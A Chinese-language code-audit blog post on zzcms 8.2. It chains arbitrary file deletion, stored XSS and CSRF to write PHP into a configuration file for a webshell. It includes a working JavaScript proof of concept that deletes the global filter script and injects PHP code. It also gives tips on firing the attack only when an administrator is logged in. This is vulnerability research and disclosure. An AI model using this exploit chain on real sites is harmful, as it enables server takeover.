前言
zzcms8.2是一款比较小众的cms,该cms存在漏洞较多,有师傅写过该cms相关审计文章,写这篇文章的目的仅仅是分享自己审计该cms时想到的一个另类getshell思路。如有雷同,纯属巧合。

总体思路
本次getshell主要是通过后台写入配置文件功能写入一句话getshell。zzcms使用了全局过滤,所以要想成功写入一句话,最主要的问题是搞定这个过滤。这里采用的方式是利用任意文件删除漏洞删除全局过滤脚本,再利用csrf及存储型xss写入完整的一句话。

漏洞分析

可以看到,要还原实体化字符需要传入true参数,通过搜索定位到了如下代码段。

$content满足条件,追踪一下content的来源。在包含的文件top.php中找到了content定义的地方,来自zzcms_user表中的content字段,该字段存储的是用户的公司简介,是可控的,因此此处存在存储型xss。


有一点需要注意,在用户中心直接修改公司简介是不能成功的,因为编辑器会进行一次html实体化操作,全局过滤又执行了一次实体化,输出页面只有一次反实体化操作。所以需要截包把实体化的字符改回来。


漏洞利用
整体思路有了,单个漏洞的payload也有了,剩下的就是将删除文件和写配置文件的请求写到js中,再利用xss getshell了,放上自己的poc:eval.js

function xml1(){
    var data = "adv=45645&advlink=%2Fzt%2Fshow.php%3Fid%3D1&company=%E6%96%B9%E6%B3%95&oldimg=inc/stopsqlin.php&img=1.txt&Submit22=%E4%BF%AE+%E6%94%B9"
    xml = new XMLHttpRequest();
    xml.open("POST","http://127.0.0.1:8081/user/adv.php?action=modify",true);
    xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xml.send(data);}

function xml2(){
    var data = "appid=2<?php phpinfo();?>&appkey=5e96c17051557039eb55ed190489a05b&callback=http%3A%2F%2Fdemo.zzcms.net%2F3%2Fqq_connect2.0%2Fcallback.php&cmdSave422=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&action=saveconfig"
    xml = new XMLHttpRequest();
    xml.open("POST","http://127.0.0.1:8081/admin/qqlogin_set.php?",true);
    xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xml.send(data);}

xml1();
setTimeout("xml2()",3000);

构造好两个异步请求,分别发送即可。这里有两个点要解释一下
一是任意文件删除不需要管理员权限,为什么要放在js中让管理员去删除?那是因为如果inc/stopsqlin.php被删除,用户将无法正常登录,如果我们提前删了管理员就登不上去了,所以删除时要保证管理员已经登录。在实际运用中有另一个问题,如果非管理员看了自己的资料,也会触发请求,就会把文件删除,使管理员无法登陆。可以在js获取用户cookie,确认是否为管理员,不是则不发送请求。
二是最后一句话中加入了3s的延时,目的是保证第二请求发出时,文件已经被删除,如果两个请求同时发送可能会失败。
js写好后放到自己服务器上,xss调用即可,然后就是坐等管理员帮你写shell了,最后访问配置文件/3/qq_connect2.0/API/comm/inc.php


后话
这个cms的代码审计难度并不大,各种漏洞一大堆,审计的时候大多数时间是花在如何组合getshell上。利用任意文件删除的常规思路是删除安装锁,然后导致重装,突然想到了这种任意文件删除的另类利用方法,所以写了这篇文章,由于本人水平有限,文中如有错误或不妥的地方还请师傅们指点。

源链接

Hacking more

...